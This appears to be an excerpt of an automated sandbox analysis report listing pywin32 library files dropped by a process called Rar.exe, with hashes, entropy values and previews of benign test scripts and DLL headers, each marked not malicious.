Preview:	# Tests (scarce) for win32print module..import unittest..import win32print as wprn...class Win32PrintTestCase(unittest.TestCase):. def setUp(self):. self.printer_idx = 0. self.printer_levels_all = list(range(1, 10)). self.local_printers = wprn.EnumPrinters(wprn.PRINTER_ENUM_LOCAL, None, 1).. def test_printer_levels_read_dummy(self):. if not self.local_printers:. print("Test didn't run (no local printers)!"). return. ph = wprn.OpenPrinter(self.local_printers[self.printer_idx][2]). for level in self.printer_levels_all:. wprn.GetPrinter(ph, level)...if __name__ == "__main__":. unittest.main().

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32profile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	389
Entropy (8bit):	4.535765323916297
Encrypted:	false
SSDEEP:	6:NyRFLXvLSYpwtstqrzQpFVb2WkEYoKXFfMLkppb2rkUAjpAC7Mv:NKFLXvO4TbTYtXJba2pV7u
MD5:	F78744E1A96E4C1F0F8A9B06C76BBD5F
SHA1:	67A8E82CADDB11F2E0CF590BEEC3BE0CFA5A3575
SHA-256:	D67BBF211BAFC8305BFC7E223DC56A88464E1BE5B65DB427745BBF8BC181D241
SHA-512:	01BA7F2D063E1C7F7FA480969BF7B16F67A851C09310A75A69ED7D5FD2B740D3143D2B766023515FCECC40C8203DA3EA2022D91BCEC9957527A3AD09D1410EF2
Malicious:	false
Reputation:	low
Preview:	"""Test win32profile""".import os.import unittest..import win32profile...class Tester(unittest.TestCase):. def test_environment(self):. os.environ["FOO"] = "bar=baz". env = win32profile.GetEnvironmentStrings(). assert "FOO" in env. assert env["FOO"] == "bar=baz". assert os.environ["FOO"] == "bar=baz"...if __name__ == "__main__":. unittest.main().

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32rcparser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	4.693224762679464
Encrypted:	false
SSDEEP:	48:VYqchbQKoP586t8qj4sYRqZrqvOlH7gfS:VYqchYzt8gAqsOlH7gq
MD5:	FE721D7BDD29E9998EEB3208CDB4A95D
SHA1:	8DF8FD70E75CE58F5BCD5F89967DEECE0D5A8C93
SHA-256:	F677D0C135FF762FE60F9C1C52332ED6C04A776CB20E5C3C4FF0B0F05523D008
SHA-512:	6C1E3395039EAF8F6F2F4A2663352EBB8CAC534F8495DAA9B11CA158F1F2F2E6316BBB8362D177E6387AE7A320C914F7F33A1A9DCFD6307C0C0FADE2C7E7B8AB
Malicious:	false
Reputation:	low
Preview:	import os.import tempfile.import unittest..import win32con.import win32rcparser...class TestParser(unittest.TestCase):. def setUp(self):. rc_file = os.path.join(os.path.dirname(__file__), "win32rcparser", "test.rc"). self.resources = win32rcparser.Parse(rc_file).. def testStrings(self):. for sid, expected in (. ("IDS_TEST_STRING4", "Test 'single quoted' string"),. ("IDS_TEST_STRING1", 'Test "quoted" string'),. ("IDS_TEST_STRING3", 'String with single " quote'),. ("IDS_TEST_STRING2", "Test string"),. ):. got = self.resources.stringTable[sid].value. self.assertEqual(got, expected).. def testStandardIds(self):. for idc in "IDOK IDCANCEL".split():. correct = getattr(win32con, idc). self.assertEqual(self.resources.names[correct], idc). self.assertEqual(self.resources.ids[idc], correct).. def testTabStop(self):. d = self.resources.dialogs["I

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32timezone.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	774
Entropy (8bit):	4.544684110688971
Encrypted:	false
SSDEEP:	24:l8TebQz+CK8iFa3vNnYtRz+tjyHkTn5pVS:l8qbQz+C1iFa/Nnsz+tj3FfS
MD5:	EB93616B87101E3636F95B9C99B8DB33
SHA1:	E1D393944DFB58A518DA53BC3F379E4116A396C4
SHA-256:	2C13496CCD350A1A6059ED8BACE5D943DE9C70201D1257FEE0687BAFE524F9A7
SHA-512:	76ED693E65AAC9BC4F6AE27C476F31EAEF498A3EBEC9FB5DAF1CA41B770D95B3A15BD88438CF2DCB02680C271E26EF77A805787BEBBC77331D269ECFA31D4287
Malicious:	false
Reputation:	low
Preview:	# Test module for win32timezone..import doctest.import sys.import unittest..import win32timezone...class Win32TimeZoneTest(unittest.TestCase):. def testWin32TZ(self):. # On 3.7 and later, the repr() for datetime objects changed to use kwargs - eg,. # eg, `datetime.timedelta(0, 10800)` is now `datetime.timedelta(seconds=10800)`.. # So we just skip the tests on 3.5 and 3.6. if sys.version_info < (3, 7):. from pywin32_testutil import TestSkipped.. raise TestSkipped(. "The repr() for datetime objects makes this test fail in 3.5 and 3.6". ).. failed, total = doctest.testmod(win32timezone, verbose=False). self.assertFalse(failed)...if __name__ == "__main__":. unittest.main().

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32trace.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11415
Entropy (8bit):	4.51306928669101
Encrypted:	false
SSDEEP:	192:ZZjEDkF9M6VZwHSvCUsXsEboxhWm7mUksYgms47sQ8C9ZRB3UZbU83ViNuDRJZBg:ZWASEQSc6xcm7mUkx3ZXWU8oCNcCs
MD5:	D31B968890F11B8E808CB0A707353CB2
SHA1:	1C77EFD68D15B9E0D5D3031FE9C2BAD4087EDFEE
SHA-256:	CDDD29A1351F771EB9048BC4CFEBE24D7DAFDF9B80BE451E8B5B39D5602ED835
SHA-512:	52E99B1AEA9BB427DA3D64DA50BCF6FADCCAE5A1735066A65E1BA750A369E52AEFCFB75108FE4936DB02762B8F6A2AB5850C8362317620FC3363E94E8B0BA7E5
Malicious:	false
Reputation:	low
Preview:	import os.import sys.import threading.import time.import unittest..import win32trace.from pywin32_testutil import TestSkipped..if __name__ == "__main__":. this_file = sys.argv[0].else:. this_file = __file__...def SkipIfCI():. # This test often fails in CI, probably when it is being run multiple times. # (ie, for different Python versions). # Github actions always have a `CI` variable.. if "CI" in os.environ:. raise TestSkipped("We skip this test on CI")...def CheckNoOtherReaders():. win32trace.write("Hi"). time.sleep(0.05). if win32trace.read() != "Hi":. # Reset everything so following tests still fail with this error!. win32trace.TermRead(). win32trace.TermWrite(). raise RuntimeError(. "An existing win32trace reader appears to be ". "running - please stop this process and try again". )...class TestInitOps(unittest.TestCase):. def setUp(self):. SkipIfCI(). # clear old data.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32wnet.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5810
Entropy (8bit):	4.711734132606811
Encrypted:	false
SSDEEP:	96:LCkYbvWtakMDqPaR7v/RqtdfllFpK6tVlHCXEZyqLQ4wmILiW6gG06MTKNOq:9akMDqP27xqtdv9AUZHLQ479DMTNq
MD5:	5EA7551E921DA9DDEF12BEE243E4494B
SHA1:	F63F0CB65B4F881EAFFBE06A4C396A395F21E433
SHA-256:	A5D600D8C295CC07823DB4FBB1AAA9ADACF7627F59EF71E1EE9285BAA9E76CFC
SHA-512:	72675633C3E2BA2E48886912CF5FE719040E2D5341F570DF627F503FD0CA9497D0C3B8DBCB842EB43242F97A41AB9EF46E527034917666AAB301CB4B0219CD9C
Malicious:	false
Reputation:	low
Preview:	import unittest..import netbios.import win32api.import win32wnet.from pywin32_testutil import str2bytes..RESOURCE_CONNECTED = 0x00000001.RESOURCE_GLOBALNET = 0x00000002.RESOURCE_REMEMBERED = 0x00000003.RESOURCE_RECENT = 0x00000004.RESOURCE_CONTEXT = 0x00000005.RESOURCETYPE_ANY = 0x00000000.RESOURCETYPE_DISK = 0x00000001.RESOURCETYPE_PRINT = 0x00000002.RESOURCETYPE_RESERVED = 0x00000008.RESOURCETYPE_UNKNOWN = 0xFFFFFFFF.RESOURCEUSAGE_CONNECTABLE = 0x00000001.RESOURCEUSAGE_CONTAINER = 0x00000002.RESOURCEDISPLAYTYPE_GENERIC = 0x00000000.RESOURCEDISPLAYTYPE_DOMAIN = 0x00000001.RESOURCEDISPLAYTYPE_SERVER = 0x00000002.RESOURCEDISPLAYTYPE_SHARE = 0x00000003...NETRESOURCE_attributes = [. ("dwScope", int),. ("dwType", int),. ("dwDisplayType", int),. ("dwUsage", int),. ("lpLocalName", str),. ("lpRemoteName", str),. ("lpComment", str),. ("lpProvider", str),.]..NCB_attributes = [. ("Command", int),. ("Retcode", int),. ("Lsn", int),. ("Num", int),. # ("Buff

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\testall.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7254
Entropy (8bit):	4.324657504637411
Encrypted:	false
SSDEEP:	96:dL2D8uzIaoa80XFiHTPusLCsRg9LOwS2wsff2yIdEJBwys3u7HQ9jUNw8kKzTxsz:dGIRBeeT2OuEgfiGRoFQ9sC6
MD5:	7F09D3E18F73FEBB6A4CC0EF60200C1D
SHA1:	89B5B096A4FA43486597D5221DEA90E4B4C5F519
SHA-256:	DDFACE034C91EF063814F00BE94B76B846E9977088B7DA7FB7EC62A2CBE1EA7C
SHA-512:	ECAF5E1BBB6A4D9785778F5CF31AE91DFA80FE937636F16889D1B8CC87BE82D8FE48868FE0E410B5B8CD35772BB6B9E1F66474A122FC302E562D4B09C9C45B18
Malicious:	false
Reputation:	low
Preview:	import os.import re.import sys.import traceback.import unittest..import pywin32_testutil..# A list of demos that depend on user-interface of any kind. Tests listed.# here are not suitable for unattended testing..ui_demos = """GetSaveFileName print_desktop win32cred_demo win32gui_demo. win32gui_dialog win32gui_menu win32gui_taskbar. win32rcparser_demo winprocess win32console_demo. win32clipboard_bitmapdemo. win32gui_devicenotify. NetValidatePasswordPolicy""".split().# Other demos known as 'bad' (or at least highly unlikely to work).# cerapi: no CE module is built (CE via pywin32 appears dead).# desktopmanager: hangs (well, hangs for 60secs or so...).# EvtSubscribe_*: must be run together:.# SystemParametersInfo: a couple of the params cause markh to hang, and there's.# no great reason to adjust (twice!) all those system settings!.bad_demos = """cerapi desktopmanager win32comport_demo. EvtSubscribe_pull Evt

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\win32rcparser\python.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PC bitmap, Windows 3.x format, 33 x 33 x 4, image size 660, cbSize 778, bits offset 118
Category:	dropped
Size (bytes):	778
Entropy (8bit):	3.1275984527229412
Encrypted:	false
SSDEEP:	24:4giJF9YnuKLG1jRsOuhsuyR5ejFKzRvqasurl99OOyHrLn:4bK61VMxFalw
MD5:	527ACF2CA463153A889C0D30366EFAC1
SHA1:	9A2FF9C2B217CB1A8541B6B44AB92080E4EA0935
SHA-256:	19623132815DADA9EA5C7C4883227F768BC904D7C2C5CFCE4259D21B14DF1CB1
SHA-512:	FA6D0B602628F5752BF5A9B58E0BA234B904DC571970FB426EEBE40072B9581A5BCAC3878B50C5DDA171B7637F87429CD94A6F7209ECBE029426781D46E2458E
Malicious:	false
Reputation:	low
Preview:	BM........v...(...!...!.............................................................................................................................................................3...................33.333...........33333330..........3:3333333333........330333.3330.........333.30.30.0........3.330......0..........333................3.330................33.................:330............:.....33.............:...:33..............:..30............:.3.30..............:...30...............:.330.........333.....330..........033....33..........33333...33..........333333:.30...........33333030..............0.30..............................................................................................3.................030.................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\win32rcparser\python.ico

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 16 colors
Category:	dropped
Size (bytes):	766
Entropy (8bit):	2.9744570511075614
Encrypted:	false
SSDEEP:	12:IEipKm6kpU3/tRz//lFWIzldyMQSCrDs+/Co08daaeP:IEiQm6kkRDtFrdyMJCrDs+/CAIP
MD5:	FC2A98F8A8428A9A6D5579C79A94FBD8
SHA1:	5A43595D92FF2E5AB3EFA2DF1A0643A27C09CD1F
SHA-256:	2E7402ED1683A751BB5222A0379E5D8A50E3467E35C0D0D35B2A3CCA645372DC
SHA-512:	FE9ECD2B045670D16AB305E5F6EE943D99B4DA320BE5D23CF5BE9A0FD35ED17A58C7479B23D27FBFA64A8DDE3DF2911FD1738CE46C772E6F55D4072C8CFCCC88
Malicious:	false
Reputation:	low
Preview:	...... ..............(... ...@...................................................................................................................................3.................33.333.........33333330......3:3333333333......330333.3330.....333.30.30.0....3.330......0......333............3.330..............33.............:330........:.....33.........:...:33..........:....30..........:.3.30..........:...30...........:.330.....333.....330......033....33......33333...33......333333:.30.......33333030..........0.30..............................................................................3.............030........................................g........................_........0...........................................................................G..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\win32rcparser\test.h

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	C source, ASCII text
Category:	dropped
Size (bytes):	1169
Entropy (8bit):	5.066451700026354
Encrypted:	false
SSDEEP:	24:mfAR2Xzlz9lh8IkXz/f7Yg3Fl9Kynarx48pfLtcmc2IcfDcb/:4HdV8I6T3/0ynadZM/
MD5:	60B583798EAE6B6F72A6278FAFF13250
SHA1:	F08720EDD570520DBF88BD241182D59994314045
SHA-256:	CE7A510695120F2EBB6BBEAC0C7B8FD2E4C0258BF4F637E392BD5E85FFF08BC2
SHA-512:	30F982EF35CAED22DF7DE381D3FD7B6EE50F0144337EA9AE2572928155C6EC4B98A840D99C8653F1E8EFE60BE14645CA35B9E7FDFA9CBA044589117ACA70F3DA
Malicious:	false
Reputation:	low
Preview:	//{{NO_DEPENDENCIES}}.// Microsoft Developer Studio generated include file..// Used by test.rc.//.#define IDS_TEST_STRING1 51.#define IDS_TEST_STRING2 52.#define IDS_TEST_STRING3 53.#define IDS_TEST_STRING4 54.#define IDS_TEST_STRING5 55.#define IDS_TEST_STRING6 56.#define IDS_TEST_STRING7 57.#define IDD_TEST_DIALOG1 101.#define IDD_TEST_DIALOG2 102.#define IDB_PYTHON 103.#define IDI_PYTHON 105.#define IDD_TEST_DIALOG3 105.#define IDC_EDIT1 1000.#define IDC_CHECK1 1001.#define IDC_EDIT2 1001.#define IDC_COMBO1 1002.#define IDC_SPIN1 1003.#define IDC_PROGRESS1 1004.#define IDC_SLIDER1 1005.#define IDC_LIST1 1006.#define IDC_TREE1 1007.#define IDC_TAB1 1008.#define IDC_ANIMATE1 1009.#define IDC_RICHEDIT1 1010.#define IDC_DATETIMEPICKER1 1011.#define IDC_MONTHCALENDAR1 1012.#define IDC_SCROLLBAR1 1013.#define IDC_SCROLLBAR2 1014.#define IDC_LIST2 1015.#define IDC_HELLO 1016.#define IDC_HELLO2 1017..// Next default values for new objects.//.#ifdef APSTUDIO_INVOKED.#ifndef APSTUDIO_READONLY

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\win32rcparser\test.rc

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	C source, ASCII text
Category:	dropped
Size (bytes):	6273
Entropy (8bit):	4.814338859710688
Encrypted:	false
SSDEEP:	96:9IvbeVpdPK9POPlrjywqjiHwy/JrjxIF0mqnWldrheQ9nn5e:MbeVpdi9mPlSwqaJrjxi0mqnWPhX5e
MD5:	2C3DD64292595BF0C580F3EA135EEC18
SHA1:	29526198EEA82C60D9C40D3CD389C2BBBEF16FA0
SHA-256:	8BA44D67D9F96EE91975990BAA518DB303E6EE90AFABBED6953F4B21268CE01B
SHA-512:	A952FFF91B2DFECAA51EAFC7D08F47404E0C80D5F12896644E1E83BCE0B84C02BD6A2BCBF3F83D3EBC413484BCF82A5CADEFA90AAD938421CA85CBA9ED356BBE
Malicious:	false
Reputation:	low
Preview:	//Microsoft Developer Studio generated resource script..//.#include "test.h"..#define APSTUDIO_READONLY_SYMBOLS./////////////////////////////////////////////////////////////////////////////.//.// Generated from the TEXTINCLUDE 2 resource..//.#include "afxres.h"../////////////////////////////////////////////////////////////////////////////.#undef APSTUDIO_READONLY_SYMBOLS../////////////////////////////////////////////////////////////////////////////.// English (Australia) resources..#if !defined(AFX_RESOURCE_DLL) \|\| defined(AFX_TARG_ENA).#ifdef _WIN32.LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_AUS.#pragma code_page(1252).#endif //_WIN32..#ifdef APSTUDIO_INVOKED./////////////////////////////////////////////////////////////////////////////.//.// TEXTINCLUDE.//..1 TEXTINCLUDE DISCARDABLE .BEGIN. "test.h\0".END..2 TEXTINCLUDE DISCARDABLE .BEGIN. "#include ""afxres.h""\r\n". "\0".END..3 TEXTINCLUDE DISCARDABLE .BEGIN. "\r\n". "\0".END..#endif // APSTUDIO_INVOKED.../////////////

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\timer.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.716617252323436
Encrypted:	false
SSDEEP:	192:JhsSwN9L2hrRBJSwrzQVkzwBal2kcDjbwJjOtiGDqtoimF/lJkdumITzaJvGlkwv:JB2pCakzRlB+jbYj6iGDq1mFIdnjOlk
MD5:	B5A90C757460AAF2280B9DB020274F15
SHA1:	35D6999E10C8EE6ECD88940AE39BD89C6FD3C97E
SHA-256:	070FEC28E4150AFFDF69CBC3042FDDDBCC79E95AF33D613DB0D6E4BF3DEBEC90
SHA-512:	DE4B16E440C10556BE4B3F696E81626E11B68374385B9E4CDDE4DE0CAE6F10F70D36585807CD1D7B862C3C6E1306B5DED40654879C1584E9430DBC057B26D5B8
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............{...{...{......{...z...{...~...{.......{...x...{.,.z...{.J.z...{...z...{...z...{.,.r...{.,.{...{.,.y...{.Rich..{.........................PE..L......d...........!.........................0...............................p............@..........................7..L....7.......P..L....................`.......2..T............................3..@............0...............................text............................... ..`.rdata..~....0......................@..@.data........@.......,..............@....rsrc...L....P......................@..@.reloc.......`.......2..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32api.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	103424
Entropy (8bit):	6.3909294717445375
Encrypted:	false
SSDEEP:	3072:xBzJ+cRa1YmNAC06yHiG0fVhVFhLqN6/2yymx+dCanfO8eFgqT2JE:xBzJ+cZYVhVl/2yAdCa2Lv2E
MD5:	EE407DCEA96D260B9DF5AED85408FE8D
SHA1:	600A8CCC28069ABF6920536EE9D2DBBAB449EF5B
SHA-256:	91FA48528506D909C2E40103813789738915FF1318EF20118DC19D17AD017955
SHA-512:	45EACC91681556AC0DB64B071B600AF84F9CFDB65771529601095B6C1B69EF4B06632298F4B464EA1DF5AFD1DAD91E94977C28C9A752283D6C9A1F224EB3B9E3
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................`.....................l.........................l......l....l....Rich...........................PE..L......d...........!......................................................................@..........................C......TD..........\........................ ...:..T...............................@...............p...\C..@....................text...{........................... ..`.rdata..`k.......l..................@..@.data........p.......\..............@....rsrc...\............n..............@..@.reloc... ......."...r..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32clipboard.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	6.058338660371219
Encrypted:	false
SSDEEP:	384:V7rLbe3Gp2GoXgR551OVpHV4rjjiqURJ0nl5Bzp1dn/g+yE+vpLF7:Vfb3D751OVpHV4uRmR9/g+ytpLh
MD5:	026FD8B8A64FAEF005332FDB04768C75
SHA1:	EE484A9A76D5F9AF7F2C9D0E298C5AFA58FB1C0C
SHA-256:	1D62BF814660CD5E45C9E0A3FB87C99CABCA20BA75C36C4E8B5A8C65FDA4565E
SHA-512:	485B16D1BFB2B026BBBCE1EABA53EDD8EC4AC282E9E3A1B4AB13F1A2CBCF2CB2A342BCD7A300B9BF1414CFEBE22772CBA5BD676C7E82A3BFAA5EA6DDD1C16634
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........c...............................................x.......................................Rich...................PE..L......d...........!.....(...(......R'.......@............................................@.........................0N..\....N.......p..t............................I..T...........................XI..@............@...............................text...3'.......(.................. ..`.rdata.......@.......,..............@..@.data........`.......H..............@....rsrc...t....p.......J..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32console.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	48128
Entropy (8bit):	6.224682276228643
Encrypted:	false
SSDEEP:	768:DaSJeGiTydNIBDnAy9tSm8zzlihbDu2k9G79nmVoUG1q0gN/Dsm:DaSouIDAy3+zlAwVoUG1q0gN/Dh
MD5:	96C2E89F35B72A39A7FF9EB1F12B0C28
SHA1:	8B325403956BFC0B06A17D805B86E3E6196D9276
SHA-256:	9667B61CFC8155843CE13B12BD308EB7D271F2840441EBB1712FC11A9C88005A
SHA-512:	E5A3644D2D1B65FE396D2EDA70CBE86539D5099EC1C708D5F293708236A66E939290D72C7C1AF5D152846D932FE5ABEE3D7F935B3D00F62A02F86EEB64EA0728
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l...(.P(.P(.P!.3P..Pz..Q.Pz..Q8.Pz..Q".Pz..Q).P.Q.P...Q*.P<..Q+.P(.P..P.Q).P.Q).P.Q).PRich(.P................PE..L......d...........!.....V...b.......Q.......p............................................@.........................`...X...............l...........................\|...T..............................@............p..,............................text...qT.......V.................. ..`.rdata...B...p...D...Z..............@..@.data...............................@....rsrc...l...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32cred.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	30208
Entropy (8bit):	6.12826822648431
Encrypted:	false
SSDEEP:	768:4t/yZ7KPObCP6EC5ZN4qel/yp2eR1WDk3MuCVK:W6ZGPOc6EmNreBeR1WDk3MuCVK
MD5:	75D072824426AC103DBED6C7F794AC84
SHA1:	1217F4826C2379A6FA25D738AE24087BE94DFD16
SHA-256:	4F25FDD82B2E0631CA08C03911FB07DF35B044BABA38A7A1790B1E9FE0DAC20C
SHA-512:	F9679201390C4B4840BF1268FB39C5723DE15A433CE2267FDC0E0CE40BC4A2114F032B7127C7F272148183A428FE62A4DF609CB3DCD79AF4659DD1299F891A26
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,......................~......~......~......~....H.~.......~.......~...........H.~....H.~....H.~....Rich............PE..L......d...........!.....<...6......E:.......P............................................@.........................ph..T....h..........\.......................(....b..T...........................Hc..@............P...............................text...+:.......<.................. ..`.rdata...$...P...&...@..............@..@.data...`............f..............@....rsrc...\............j..............@..@.reloc..(............n..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32crypt.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	103424
Entropy (8bit):	6.473068406190836
Encrypted:	false
SSDEEP:	3072:1Vr5D5aHAa/RCI1lHC836SPWxeTcSxk83rR4u2fUqsYWsqydaZDOJPeQyWJa68yY:Fa/RCI1lHC834Ihr2JNvEZDcWQyWfY
MD5:	09447DBDABCF0CC1DF2F18BC914C52C6
SHA1:	4016C3C01F11BF7084FF0B9D1F83223CAAE163D0
SHA-256:	DE873B0FB18DC50255295E422F29145343F600FF778DC12B3FCEC7B9B6739CF9
SHA-512:	293150C3D6E3389D03DAAA03DFAB9AC58D458C85005EC561ABFFBE5C0CBB4AD5C26E7105331BA291C4F8D25F74C58615A3D33B6481B50918581E2C7E823279B8
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0C..t"m.t"m.t"m.}Z..p"m.&Wl.v"m.&Wh.d"m.&Wi.~"m.&Wn.u"m..Wl.v"m..Kl.v"m.`Il.s"m.t"l.."m..Wd.}"m..Wm.u"m..Wo.u"m.Richt"m.........PE..L......d...........!................*.....................................................@.........................0>......4Z..........d.......................x..../..T............................/..@...............t............................text............................... ..`.rdata...s.......t..................@..@.data...T............\..............@....rsrc...d............p..............@..@.reloc..x........ ...t..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32event.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	6.028742764868691
Encrypted:	false
SSDEEP:	384:xQsQ0QgQNYqa0ajYva5dM4ALhDbXAjqcQ/Th/Gddbcg8JFBc5Zp4hp0DQMdCoFzz:x1dRelarca5dMhfbp/Th/Gddbc7jBGpf
MD5:	41EA4E00EC740873C492D3F5EDA05FD3
SHA1:	DB82D7629A720409B02BD342B1087F0C5313F4DF
SHA-256:	A081CB434C393C73A02BE1FC29E35E7C1042EF357CEBD583B506C468BA700C85
SHA-512:	D55FC13C52F8C69CAC5A266B84D792D8E74B612E1929A6322D2498FB366BFD35331F5B06F4F55204545283698D59883249BED45BF12C208511B9549FEA185B55
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........P..d...d...d.......d..e...d..a...d..`...d..g...d.X.e...d.>.e...d...e...d...e...d.X.m...d.X.d...d.X.f...d.Rich..d.................PE..L......d...........!.....0...$...............@............................................@..........................L..T....L.......p..d............................G..T...........................@H..@............@..t............................text............0.................. ..`.rdata.......@.......4..............@..@.data...X....`.......L..............@....rsrc...d....p.......N..............@..@.reloc...............R..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32evtlog.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	6.298600675362136
Encrypted:	false
SSDEEP:	1536:gf3V2Mt08eYYFqq/CPld8KvtT6fJhOnYa8tWM7NAwaKrAJTgd2f/Yj1zVzWYDrb5:gvV2Mtuwq/CPld8KvtT6fJhOnYa8tWMj
MD5:	E3D847208F18FDE613362CBF174A8E4E
SHA1:	F568090C3B20C58A0172BBD32423F1C3B803C379
SHA-256:	C68E7AEB7FAAA2EFA0A9137EF7A5DDE0EABE8F5157EBCCAA008BEEA9E5696B71
SHA-512:	4556E2D4A253E9031B4FA4CBA3E557D83F1DCFFA750C19D9DDAE74EE1CE63D0846455FABB425E860D879B9D5198CDFF2770B67BC5ABFCB609587DD26996C5EBD
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t..}0...0...0...9.J.4...b../2...b../:...b../1....../2....../2...b../$...$../5...0........../1....../1.....&.1....../1...Rich0...........PE..L......d...........!.........h......z{.......................................0............@.............................X...h........... .......................T... ...T...............................@...................L...@....................text...{........................... ..`.rdata..0C.......D..................@..@.data...............................@....rsrc... ...........................@..@.reloc..T...........................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Reputation:	low
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

